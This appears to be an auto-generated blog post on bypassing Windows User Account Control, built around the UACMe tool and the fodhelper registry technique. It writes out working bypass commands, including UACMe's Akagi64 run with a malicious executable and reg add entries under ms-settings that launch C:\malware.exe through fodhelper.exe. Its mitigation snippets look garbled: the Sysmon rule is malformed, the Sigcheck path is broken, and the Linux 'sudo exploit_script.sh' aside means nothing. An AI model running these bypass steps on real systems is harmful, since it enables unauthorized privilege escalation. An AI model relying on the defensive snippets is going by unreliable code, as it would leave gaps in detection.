Bypassing Windows UAC Method : Exploiting Security Vulnerabilities for Elevated Privileges

User Account Control (UAC) is a security feature in Windows designed to prevent unauthorized changes by requiring administrative approval. However, attackers can bypass UAC to execute malicious programs with elevated privileges. Tools like UACMe demonstrate how these exploits work.

You Should Know:

How UAC Bypass Works

UAC bypass techniques exploit vulnerabilities in Windows components that auto-elevate privileges without proper verification. Common methods include:
– DLL Hijacking – Replacing legitimate DLLs with malicious ones.
– COM Interface Abuse – Manipulating Component Object Model (COM) objects.
– Registry Key Manipulation – Modifying trusted paths or auto-elevated executables.

UACMe: A Popular UAC Bypass Tool

UACMe (https://github.com/hfiref0x/UACME) is an open-source project showcasing over 60+ UAC bypass techniques. Key commands:

 Clone UACMe repository 
git clone https://github.com/hfiref0x/UACME.git

Compile with Visual Studio (requires SDK) 
msbuild UACMe.sln /p:Configuration=Release

Execute a bypass method (e.g., ID 41) 
Akagi64.exe 41 c:\path\to\malicious.exe 

Manual UAC Bypass via Registry (Example)

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\malware.exe" /f 
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f 
fodhelper.exe 

Mitigation Techniques

• Enable UAC at the highest level (Always notify).
• Restrict administrative privileges (Least privilege principle).
• Monitor registry changes with Sysmon:

  <Sysmon schemaversion="4.90"> 
  <EventFiltering> 
  <RuleGroup name="UAC Bypass Detection"> 
  <RegistryEvent onmatch="include"> 
  <TargetObject name="ms-settingsShellcommand" /> 
  </RegistryEvent> 
  </RuleGroup> 
  </EventFiltering> 
  </Sysmon> 
  

Additional Security Commands

• Check UAC status:

  Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | Select EnableLUA, ConsentPromptBehaviorAdmin 
  

• Disable auto-elevation for a program:

  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\program.exe" /t REG_SZ /d "RUNASINVOKER" /f 
  

What Undercode Say

UAC bypass remains a critical attack vector in Windows environments. While Microsoft continuously patches vulnerabilities, attackers evolve techniques. Defenders must:
– Audit auto-elevated binaries (Sigcheck -m C:\Windows\System32\.exe).
– Deploy Application Whitelisting (AppLocker).
– Use AMSI (Antimalware Scan Interface) to detect script-based bypasses.
– Leverage Windows Defender Attack Surface Reduction (ASR) rules:

Set-MpPreference -AttackSurfaceReductionRules_Ids <RuleID> -AttackSurfaceReductionRules_Actions Enabled 

Key Linux Comparison (Privilege Escalation)

 Linux sudo bypass (if misconfigured) 
sudo -l  Check allowed commands 
sudo exploit_script.sh 

Expected Output:

A secure Windows environment with logged UAC bypass attempts, restricted high-integrity processes, and enforced code signing policies.

Reference: UACMe GitHub

References:

Reported By: Hendryadrian Windows – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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